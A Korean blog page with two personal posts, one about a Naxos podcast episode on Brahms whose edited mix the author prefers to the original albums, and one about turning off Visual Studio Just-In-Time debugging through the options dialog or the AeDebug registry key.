MP3에 넣고 랜덤으로 돌려서 아무때나 듣는데, 이번에 걸린(원래는 예쩐부터 이 파일을 좋아했는데 이름 기억한다는걸 계속 잊고 있었다) Four Handed Brahms.

특히나 이 방송의 14분부터의 마지막장의 오프닝부터 엔딩까지를 소개하는 부분에서는 반복청취를 수시십번 해서 들었을꺼다. 정말 맘에 들어서 음반을 찾아보기로 했다.
방송상에서는 이 위에 있는 두 곡들을 조합시켜서 거의 하나의 피아노 협주곡으로 만들어 버렸는데. 꽤나 자연스러웠고, 게다가 이 곡의 하이라이트 부분만 묶어놨기 때문에 정신적 임팩트가 실로 대단했었다.

근데 막상 두 앨범을 따로 들으니 실망을 할 수밖에 없었다. 너무 큰 기대였나. 오케스트라가 죽는 부분에서는 피아노가 살았고, 피아노가 죽는부분은 오케스트라 부분이 살려주도록 음악 편집 과정에서 완벽하게 보완이 되었다. 대단한 편집기술이다. 놀라지 않을수가 없었다. 편집된 버젼을 들었을때는, 그야말로 완벽에 가까운 곡과 연주의 조화로 여겼던 것이다.

결국에는 나는 이 앨범들을 듣지 않고. 방송에 있는 14분부터의 분량을 따로 녹음해서 듣는다. 원곡의 정체를 알아버렸지만 아직도 이곡은(곡??) 내 기억속에서 지워지기 않는다.


낙소스에서 음반 팔려고 이런 수법까지 썼을 줄이야...ㄷㄷㄷ


낙소스 포드캐스트리스트 보기 : http://www.naxos.com/podcasts/podcastslist.asp#0
문제의 방송 듣기 : http://www.naxos.com/podcasts/slog.asp?s=282282%7Chttp%3A%2F%2Fwww%2Enaxos%2Ecom%2Fpodcasts%2FClassicalMusicSpotlight%5FFour%5FHanded%5FBrahms%5F01%2Emp3%7CFour+Handed+Brahms

Just-In-Time 디버깅 활성화/비활성화

Just-In-Time 디버깅을 활성화/비활성화하려면



첫번째 방법 :

  1. 도구 메뉴에서 옵션을 클릭합니다.
  2. 옵션 대화 상자에서 디버깅 폴더를 선택합니다.
  3. 디버깅 폴더에서 Just-In-Time 페이지를 선택합니다.
  4. 다음 코드 형식에 Just-In-Time 디버깅 사용 상자에서 해당 프로그램 형식(관리, 네이티브 또는 스크립트)을 선택하거나 해제합니다.
    활성화되어 있는 Just-In-Time 디버깅을 비활성화하려면 프로그램을 관리자 권한으로 실행해야 합니다. Just-In-Time 디버깅을 활성화하면 레지스트리 키가 설정되고 이 키를 변경하려면 관리자 권한이 있어야 합니다.
  5. 확인을 클릭합니다.

출처 : http://msdn2.microsoft.com/ko-kr/library/k8kf6y2a(VS.80).aspx



두번째 방법 :



윈도우 실행 창에 regedit 치시고 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug 를 살펴 보시면 Auto, User, Debugger, HotKey, Debugger 항목이 있을 겁니다.
Auto 항목을 0으로 설정하면 운영체제 자체가 그냥 표준 오류 대화상자만 표시할 것이고
1로 되어 있으면 응용프로그램이 충돌날때마다 디버거가 실행 될 것입니다.


출처 : http://kin.naver.com/db/detail.php?d1id=1&dir_id=101&eid=qSTXZRXmiqeskT8qISFJg3Eu76L4+MSD&qb=anVzdCBpbiB0aW1lIGRlYnVnZ2Vy

프로그램을 실행시키려는데 이런 오류가 나왔다. 예전에 유용하게 쓰이던 프로그램이었는데 동작을 안하니 화가나서(?) 해결방법을 찾아봤다/

(처음에 캡쳐를 안해서 이 이미지는 두번째 방법의 출처에서 가져왔다.)

첫번째 방법시도, VisualStudio 2005와 Orcas 버전을 둘다 깔아놓았다면 둘 다 설정해 주어야 한다. 귀찮다. 프로그램을 위해 귀찮음을 무릅쓰고 어디 이제 동작하는지 보려고 했는데






-_- 경고가 뜬다. 차라리 윈도우 디폴트 디버거 화면이 낫다고 생각하여 두번째 방법을 쓰기로 했다.






레지스트리를 찾아서 값을 바꿔줬다. 뭐 이제 jit 오류가 안나오겠지 하고 기대를 걸어봤는데



달라진게 없잖아.-_- 어쩔 수 없이 닫기 버튼을 살짝 눌러주고 프로그램을 삭제했다. 꽤나 아까운 프로그램이었다.



근데 생각해 보니 전에 vs6.0 에 있었을때는 오류가 잘 안났었는데 2005 쓰면서 자잘한 오류가 많이 발생했다. 기술이 너무 좋아저도 사람이 번거로운 일이 생기는구나.